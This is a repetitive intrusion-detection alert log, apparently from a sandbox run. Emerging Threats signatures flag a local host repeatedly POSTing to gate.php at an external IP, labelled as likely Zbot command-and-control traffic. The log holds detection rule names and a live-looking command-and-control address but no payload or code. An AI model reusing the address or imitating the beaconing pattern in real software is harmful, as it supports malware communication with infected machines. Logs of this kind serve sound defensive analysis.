08/15/21-08:41:08.718428	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.858417	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.858417	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:08.858417	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.000026	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.000026	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.000026	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.139384	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.139384	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.139384	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.280811	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.280811	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.280811	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.423845	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.423845	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.423845	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.565707	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.565707	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.565707	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.705360	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.705360	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.705360	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.844245	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.844245	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.844245	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.986221	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.986221	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:09.986221	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.126233	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.126233	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.126233	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.265711	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.265711	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.265711	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.406319	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.406319	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.406319	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.546782	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.546782	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.546782	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.687986	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.687986	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.687986	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.831960	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.831960	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.831960	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.987641	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.987641	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:10.987641	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.125757	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.125757	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.125757	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.265195	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.265195	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.265195	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.408850	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.408850	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.408850	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.557462	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.557462	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.557462	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.706571	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.706571	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.706571	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.845225	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.845225	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.845225	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.985594	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.985594	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:11.985594	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.124969	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.124969	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.124969	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.265791	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.265791	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.265791	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.408023	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.408023	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.408023	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.549696	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.549696	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.549696	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.687173	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.687173	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.687173	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.831329	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.831329	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.831329	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.971024	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.971024	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:12.971024	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.112182	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.112182	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.112182	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.250397	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.250397	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.250397	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.391376	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.391376	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.391376	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.532028	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.532028	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.532028	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.673530	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.673530	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.673530	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.812034	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.812034	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.812034	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.952448	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.952448	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:13.952448	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.096137	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.096137	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.096137	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.234775	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.234775	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.234775	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.374897	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.374897	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.374897	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.517382	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.517382	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.517382	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.655721	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.655721	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.655721	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.800961	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.800961	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.800961	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.953559	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.953559	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:14.953559	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.096417	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.096417	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.096417	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.252784	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.252784	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.252784	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49764	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.422093	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.422093	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.422093	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.563893	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.563893	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.563893	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.702767	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.702767	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.702767	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.845418	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.845418	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.845418	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.987249	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.987249	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:15.987249	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.125445	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.125445	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.125445	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.270111	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.270111	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.270111	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.409271	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.409271	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.409271	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.546202	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.546202	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.546202	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.691705	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.691705	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.691705	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.829683	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.829683	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.829683	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.974187	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.974187	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:16.974187	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.109488	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.109488	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.109488	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.250803	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.250803	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.250803	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.390280	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.390280	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.390280	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.532840	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.532840	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.532840	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.671920	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.671920	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.671920	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.814302	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.814302	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.814302	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.953484	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.953484	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:17.953484	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.094033	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.094033	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.094033	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.234478	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.234478	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.234478	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49773	80	192.168.2.4	94.103.80.169
08/15/21-08:41:18.390978	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49773	80	192.168.2.4	94.103.80.169
